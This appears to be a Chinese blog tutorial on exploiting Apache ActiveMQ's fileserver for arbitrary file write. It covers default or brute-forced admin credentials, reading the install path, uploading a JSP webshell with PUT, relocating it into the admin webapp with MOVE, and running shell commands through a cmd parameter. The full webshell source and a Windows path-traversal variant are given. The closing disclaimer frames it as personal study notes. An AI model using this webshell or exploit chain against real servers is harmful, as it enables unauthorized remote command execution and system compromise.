ActiveMQ 任意文件写入

一、获取ActiveMQ的登录账号与密码

  • 默认密码admin:admin 在数据包中为Basic YWRtaW46YWRtaW4=
  • 若密码错误,需要在后续的上传webshell的数据包进行暴力破解,密码为base64加密(数据包返回为204即为正确用户名密码)

二、登录后获取ActiveMQ的存储路径

  • 访问http://ip/admin/test/systemProperties.jsp,获取activemq.home的参数,默认为/opt/activemq
    请添加图片描述

此环境一般搭建在linux系统,若搭建在Windows系统,路径一般为无法解析,此时可以在下一步通过路径拼写将webshell绕到上一级目录(..%5C%5Cadmin%5C%5Ctest%5C%5C

三、上传webshell

  • 访问http://ip/fileserver/
  • 抓包后进行上传webshell,改为PUT方法,回显204即为上传成功(上述暴力破解可以在此处进行),webshell如下:
<%@ page import="java.io.*"%>
<%
 out.print("Hello</br>");
 String strcmd=request.getParameter("cmd");
 String line=null;
 Process p=Runtime.getRuntime().exec(strcmd);
 BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));

 while((line=br.readLine())!=null){
  out.print(line+"</br>");
 }
%>

在这里插入图片描述

  • 此时可以访问一下http://ip/fileserver/2.jsp验证是否上传成功。

四、移动webshell

  • 将第三步上传的webshell移动到admin目录下
  • 此处在上一个数据包的基础上,修改方法为MOVE,添加刚才上传的路径Destination:file:/opt/activemq/webapps/admin/2.jsp(此路径为第二步获取的默认路径+/webapps/admin/2.jsp)
    在这里插入图片描述

因尝试多次,此处上传与移动的3.jsp为其中一次的尝试,与下文的截图2.jpg有冲突,读者需注意下

五、访问webshell并且执行命令

  • 访问http://ip/admin/2.jsp?cmd=whoami
    在这里插入图片描述
  • 访问http://ip/admin/2.jsp?cmd=ls
    在这里插入图片描述

六、其他

  • 同样可以使用蚁剑制作webshell进行连接,将上述webshell替换即可,详细过程不再演示

七、题外话

  • 仅仅是自己学习过程中遇到的一个漏洞,教程很多,此文章只是为了加深本人印象,对其进行总结,仅供学习参考使用,任何违法事情与本人无关。
  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值